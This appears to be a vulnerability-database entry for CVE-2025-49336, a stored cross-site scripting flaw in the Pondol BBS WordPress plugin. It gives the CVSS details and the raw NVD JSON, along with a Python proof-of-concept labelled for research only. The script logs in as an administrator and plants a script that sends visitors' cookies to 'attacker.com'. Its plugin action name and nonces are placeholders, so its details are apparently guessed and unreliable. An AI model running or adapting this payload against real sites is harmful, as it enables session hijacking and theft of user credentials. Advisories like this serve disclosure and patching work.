Security Vulnerability Report
中文
CVE-2025-49336 CVSS 5.9 MEDIUM

CVE-2025-49336

Published: 2026-01-22 17:15:56
Last Modified: 2026-04-27 20:16:11

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pondol Pondol BBS pondol-bbs allows Stored XSS.This issue affects Pondol BBS: from n/a through <= 1.1.8.4.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

pondol-bbs <= 1.1.8.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-49336 PoC - Stored XSS in Pondol BBS Plugin # Target: WordPress site with pondol-bbs plugin <= 1.1.8.4 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" # High-privilege user PASSWORD = "password" def get_auth_token(session, login_url): """Obtain authentication token and cookies""" response = session.get(login_url) # Extract nonce from login form nonce = "your-extracted-nonce" return nonce def exploit_stored_xss(): """Exploit CVE-2025-49336: Stored XSS in pondol-bbs""" session = requests.Session() # Step 1: Login to WordPress with high-privilege account login_url = f"{TARGET_URL}/wp-login.php" nonce = get_auth_token(session, login_url) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': f"{TARGET_URL}/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject malicious XSS payload via Pondol BBS plugin # This payload steals cookies when viewed by other users xss_payload = '''<script>fetch('https://attacker.com/log?c='+document.cookie)</script>''' post_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" post_data = { 'action': 'pondol_bbs_save_post', # Plugin-specific action 'post_title': 'Malicious Post', 'post_content': xss_payload, 'post_status': 'publish', '_wpnonce': 'your-nonce' } resp = session.post(post_url, data=post_data) if resp.status_code == 200: print("[+] XSS payload injected successfully") print("[+] Payload will execute when victims view the post") return True else: print("[-] Injection failed") return False if __name__ == "__main__": print("CVE-2025-49336 - Pondol BBS Stored XSS PoC") exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49336", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:56.277", "lastModified": "2026-04-27T20:16:10.937", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pondol Pondol BBS pondol-bbs allows Stored XSS.This issue affects Pondol BBS: from n/a through <= 1.1.8.4."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en pondol Pondol BBS pondol-bbs permite XSS Almacenado. Este problema afecta a Pondol BBS: desde n/a hasta &lt;= 1.1.8.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pondol-bbs/vulnerability/wordpress-pondol-bbs-plugin-1-1-8-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}